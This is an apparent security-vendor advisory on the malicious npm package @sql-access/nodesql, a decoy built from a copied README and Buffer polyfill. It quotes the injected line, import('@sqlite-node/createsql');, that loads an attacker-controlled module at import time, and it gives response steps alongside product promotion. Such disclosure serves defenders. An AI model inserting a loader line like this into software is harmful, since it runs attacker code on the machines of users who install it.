@sql-access/nodesqlnpm
Malicious code in @sql-access/nodesql (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
@sql-access/[email protected] is a decoy package whose identity, README, and code do not match. The package name and keywords advertise SQL/Node functionality; the README is copy-pasted from an unrelated 'bare-stream' streaming library and points to github.com/guilderguzman/sql-link; index.js is a verbatim copy of the feross/buffer Buffer polyfill. A single statement has been injected as the first executable line of index.js: import('@sqlite-node/createsql');. As a result, any consumer that does require('@sql-access/nodesql') will asynchronously load and execute the top-level code of @sqlite-node/createsql, an unpinned (^1.0.5) separately-published package in an attacker-namespaced scope that has no relationship to a Buffer polyfill or to the package's stated SQL purpose. The decoy code itself performs no SQL work, no Buffer functionality is reached by the consumer in any meaningful way, and the only practical effect of installing or requiring this package is to silently pull a different, attacker-controlled module into the installer's dependency graph and execute it at import time. The combined identity confusion (name/README/code mismatch), namesquat-shaped transitive (@sqlite-node/createsql), unpinned caret range, and bolt-on dynamic import injected into otherwise-pristine upstream source match the documented loader/decoy supply-chain pattern.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @sql-access/nodesql (13 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @sql-access/nodesql across your stack and pipelines.
If you installed it — respond
Remove @sql-access/nodesql from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @sql-access/nodesql was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @sql-access/nodesql before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @sql-access/nodesql-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.